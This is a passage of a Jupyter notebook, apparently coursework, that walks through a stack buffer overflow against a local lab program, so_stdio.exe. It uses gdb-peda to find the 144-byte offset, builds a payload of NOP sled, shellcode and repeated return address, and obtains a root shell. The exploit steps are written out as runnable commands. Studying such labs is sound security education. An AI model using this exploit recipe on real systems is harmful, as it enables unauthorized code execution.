      "\u001b[m0004| \u001b[;34m0xffffbd54\u001b[0m (\"AASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\u001b[0m\n",
      "\u001b[m0008| \u001b[;34m0xffffbd58\u001b[0m (\"ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\u001b[0m\n",
      "\u001b[m0012| \u001b[;34m0xffffbd5c\u001b[0m (\"TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\u001b[0m\n",
      "\u001b[m0016| \u001b[;34m0xffffbd60\u001b[0m (\"AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\u001b[0m\n",
      "\u001b[m0020| \u001b[;34m0xffffbd64\u001b[0m (\"ArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\u001b[0m\n",
      "\u001b[m0024| \u001b[;34m0xffffbd68\u001b[0m (\"VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\u001b[0m\n",
      "\u001b[m0028| \u001b[;34m0xffffbd6c\u001b[0m (\"AAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\u001b[0m\n",
      "\u001b[;34m[------------------------------------------------------------------------------]\u001b[0m\n",
      "\u001b[mLegend: \u001b[;31mcode\u001b[0m, \u001b[;34mdata\u001b[0m, \u001b[;32mrodata\u001b[0m, value\u001b[0m\n",
      "\u001b[mStopped reason: \u001b[;31mSIGSEGV\u001b[0m\u001b[0m\n",
      "0x41416d41 in ?? ()\n",
      "\u001b[;31mRegisters contain pattern buffer:\u001b[0m\n",
      "\u001b[mEBX+0 found at offset: 128\u001b[0m\n",
      "\u001b[mEBP+0 found at offset: 136\u001b[0m\n",
      "\u001b[mESI+0 found at offset: 132\u001b[0m\n",
      "\u001b[mEIP+0 found at offset: 140\u001b[0m\n",
      "\u001b[;33mRegisters point to pattern buffer:\u001b[0m\n",
      "\u001b[m[ESP] --> offset 144 - size ~56\u001b[0m\n",
      "\u001b[;32mPattern buffer found at:\u001b[0m\n",
      "\u001b[m0x08051bbe : offset    0 - size  200 ([heap])\u001b[0m\n",
      "\u001b[m0x08051fc0 : offset    0 - size  200 ([heap])\u001b[0m\n",
      "\u001b[m0xf7fa70b9 : offset 33208 - size    4 (/usr/lib32/libm.so.6)\u001b[0m\n",
      "\u001b[m0xffffbcc0 : offset    0 - size  200 ($sp + -0x90 [-36 dwords])\u001b[0m\n",
      "\u001b[;34mReferences to pattern buffer found at:\u001b[0m\n",
      "\u001b[m0xf7a1d624 : 0x08051fc0 (/usr/lib32/libc.so.6)\u001b[0m\n",
      "\u001b[m0xf7a1d628 : 0x08051fc0 (/usr/lib32/libc.so.6)\u001b[0m\n",
      "\u001b[m0xf7a1d62c : 0x08051fc0 (/usr/lib32/libc.so.6)\u001b[0m\n",
      "\u001b[m0xf7a1d630 : 0x08051fc0 (/usr/lib32/libc.so.6)\u001b[0m\n",
      "\u001b[m0xf7a1d634 : 0x08051fc0 (/usr/lib32/libc.so.6)\u001b[0m\n",
      "\u001b[m0xf7a1d638 : 0x08051fc0 (/usr/lib32/libc.so.6)\u001b[0m\n",
      "\u001b[m0xf7a1d63c : 0x08051fc0 (/usr/lib32/libc.so.6)\u001b[0m\n",
      "\u001b[m0xffffb7f8 : 0xffffbcc0 ($sp + -0x558 [-342 dwords])\u001b[0m\n"
     ]
    }
   ],
   "source": [
    "! gdb -q -batch -x gdb-so-stdio.txt ./so_stdio.exe"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "#### Manually using gdb-peda\n",
    "\n",
    "```bash\n",
    "(base) ┌──(kali㉿kali)-[~/projects/SoftwareSecurity]\n",
    "└─$ gdb -q ./so_stdio.exe \n",
    "Reading symbols from ./so_stdio.exe...\n",
    "\n",
    "```\n",
    "\n",
    "- since the program reads the data from standard input, we need to pipe the cyclic pattern from a file\n",
    "\n",
    "```bash\n",
    "(base) ┌──(kali㉿kali)-[~/projects/SoftwareSecurity]\n",
    "└─$ gdb -q ./so_stdio.exe \n",
    "Reading symbols from ./so_stdio.exe...\n",
    "gdb-peda$ pattern create 200 pattern.txt\n",
    "Writing pattern of 200 chars to filename \"pattern.txt\"\n",
    "\n",
    "gdb-peda$ run < pattern.txt \n",
    "Starting program: /home/kali/projects/SoftwareSecurity/so_stdio.exe < pattern.txt\n",
    "[Thread debugging using libthread_db enabled]\n",
    "Using host libthread_db library \"/lib/x86_64-linux-gnu/libthread_db.so.1\".\n",
    "buffer is at 0xffffbd90\n",
    "Give me some text: Acknowledged: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA with length 200\n",
    "\n",
    "Program received signal SIGSEGV, Segmentation fault.\n",
    "Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.\n",
    "Use 'set logging enabled off'.\n",
    "\n",
    "Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.\n",
    "Use 'set logging enabled on'.\n",
    "\n",
    "[----------------------------------registers-----------------------------------]\n",
    "EAX: 0xf7e23c40 --> 0xf7e20970 --> 0xf7d1b8c0 (<_ZNSoD1Ev>:     endbr32)\n",
    "EBX: 0x41416b41 ('AkAA')\n",
    "ECX: 0xf7a1e9b8 --> 0x0 \n",
    "EDX: 0xf7e20970 --> 0xf7d1b8c0 (<_ZNSoD1Ev>:    endbr32)\n",
    "ESI: 0x6c414150 ('PAAl')\n",
    "EDI: 0xf7ffcb80 --> 0x0 \n",
    "EBP: 0x41514141 ('AAQA')\n",
    "ESP: 0xffffbe20 (\"RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "EIP: 0x41416d41 ('AmAA')\n",
    "EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)\n",
    "[-------------------------------------code-------------------------------------]\n",
    "Invalid $PC address: 0x41416d41\n",
    "[------------------------------------stack-------------------------------------]\n",
    "0000| 0xffffbe20 (\"RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "0004| 0xffffbe24 (\"AASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "0008| 0xffffbe28 (\"ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "0012| 0xffffbe2c (\"TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "0016| 0xffffbe30 (\"AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "0020| 0xffffbe34 (\"ArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "0024| 0xffffbe38 (\"VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "0028| 0xffffbe3c (\"AAWAAuAAXAAvAAYAAwAAZAAxAAyA\")\n",
    "[------------------------------------------------------------------------------]\n",
    "Legend: code, data, rodata, value\n",
    "Stopped reason: SIGSEGV\n",
    "0x41416d41 in ?? ()\n",
    "\n",
    "\n",
    "```\n",
    "- now let's search for pattern to find the offset\n",
    "\n",
    "```bash\n",
    "gdb-peda$ patts\n",
    "\n",
    "gdb-peda$ patts\n",
    "Registers contain pattern buffer:\n",
    "EBX+0 found at offset: 128\n",
    "EBP+0 found at offset: 136\n",
    "ESI+0 found at offset: 132\n",
    "EIP+0 found at offset: 140\n",
    "Registers point to pattern buffer:\n",
    "[ESP] --> offset 144 - size ~56\n",
    "Pattern buffer found at:\n",
    "0x08051bbe : offset    0 - size  200 ([heap])\n",
    "0x08051fc0 : offset    0 - size  200 ([heap])\n",
    "0xf7fa70b9 : offset 33208 - size    4 (/usr/lib32/libm.so.6)\n",
    "0xffffbd90 : offset    0 - size  200 ($sp + -0x90 [-36 dwords])\n",
    "References to pattern buffer found at:\n",
    "0xf7a1d624 : 0x08051fc0 (/usr/lib32/libc.so.6)\n",
    "0xf7a1d628 : 0x08051fc0 (/usr/lib32/libc.so.6)\n",
    "0xf7a1d62c : 0x08051fc0 (/usr/lib32/libc.so.6)\n",
    "0xf7a1d630 : 0x08051fc0 (/usr/lib32/libc.so.6)\n",
    "0xf7a1d634 : 0x08051fc0 (/usr/lib32/libc.so.6)\n",
    "0xf7a1d638 : 0x08051fc0 (/usr/lib32/libc.so.6)\n",
    "0xf7a1d63c : 0x08051fc0 (/usr/lib32/libc.so.6)\n",
    "0xffffb8c8 : 0xffffbd90 ($sp + -0x558 [-342 dwords])\n",
    "\n",
    "\n",
    "```\n",
    "\n",
    "- so, the buffer length is **144 bytes** to completely overwrite the caller's return address\n",
    "- next, we need to find the base address of buffer whose location doesn't change with the size of stadard input data provided to the program \n",
    "- the base address of buffer is conveniently printed"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "- create the payload in the form\n",
    "```\n",
    "| NOP sled | shellcode | repeated return address |\n",
    "```\n",
    "- we need to do some math to figure out the length of NOP sled and repeated return address we need to make the total payload length to be **144 bytes**\n",
    "- user shellcode size is fixed, let's copy and see the size"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 60,
   "metadata": {},
   "outputs": [],
   "source": [
    "! cp ./shellcode/shellcode.bin ."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 61,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "24 shellcode.bin\r\n"
     ]
    }
   ],
   "source": [
    "! wc -c shellcode.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 62,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "120\n"
     ]
    }
   ],
   "source": [
    "# this leaves us with\n",
    "print(144-24)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "- since we've 120 bytes, let's use 10 repeated return address just in case\n",
    "- with the repeated return address length = `10 * 4 = 40`"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 63,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "80\n"
     ]
    }
   ],
   "source": [
    "# NOP sled length\n",
    "print(120-40)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "- so we can use 80 NOP bytes as sled to slide down to our shellcode\n",
    "- now we have all the numbers we need to create our 144 long payload with shellcode"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 64,
   "metadata": {},
   "outputs": [],
   "source": [
    "! python -c 'import sys; sys.stdout.buffer.write(b\"\\x90\"*80)' > stdio_payload.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 65,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "80 stdio_payload.bin\r\n"
     ]
    }
   ],
   "source": [
    "! wc -c stdio_payload.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 66,
   "metadata": {},
   "outputs": [],
   "source": [
    "! cat shellcode.bin >> stdio_payload.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 67,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "104 stdio_payload.bin\r\n"
     ]
    }
   ],
   "source": [
    "! wc -c stdio_payload.bin"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "- we need to get the buffer's address from the terminal, not from the Jupyter Notebook!\n",
    "\n",
    "```bash\n",
    "(base) ┌──(kali㉿kali)-[~/projects/SoftwareSecurity]\n",
    "└─$ python -c 'print(\"A\"*10)' | ./so_stdio.exe \n",
    "buffer is at 0xffffbe00\n",
    "Give me some text: Acknowledged: AAAAAAAAAA with length 10\n",
    "Good bye!\n",
    "```"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 68,
   "metadata": {},
   "outputs": [],
   "source": [
    "! python -c 'import sys; sys.stdout.buffer.write(b\"\\x00\\xbe\\xff\\xff\"*10)' >> stdio_payload.bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 69,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "144 stdio_payload.bin\r\n"
     ]
    }
   ],
   "source": [
    "! wc -c stdio_payload.bin"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "- payload is ready and let's send it to the target program from the terminal\n",
    "- note the - (hyphen) after cat command is required to make the shell interactive\n",
    "- we don't get a prompt but an accessible terminal; just write some commands such as `whoami`, `ls`, etc.\n",
    "\n",
    "```bash\n",
    "(base) ┌──(kali㉿kali)-[~/projects/SoftwareSecurity]\n",
    "└─$ python -c 'print(\"A\"*10)' | ./so_stdio.exe \n",
    "buffer is at 0xffffbe00\n",
    "Give me some text: Acknowledged: AAAAAAAAAA with length 10\n",
    "Good bye!\n",
    "                                                                                                \n",
    "(base) ┌──(kali㉿kali)-[~/projects/SoftwareSecurity]\n",
    "└─$ cat stdio_payload.bin - | ./so_stdio.exe \n",
    "buffer is at 0xffffbe00\n",
    "Give me some text: hello\n",
    "Acknowledged: ��������������������������������������������������������������������������������1�Ph//shh/bin��1ɉ�j\n",
    "                 X with length 104\n",
    "whoami\n",
    "root\n",
    "date\n",
    "Wed Mar 29 11:06:51 EDT 2023\n",
    "exit\n",
    "```"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3 (ipykernel)",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.10.9"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 2
}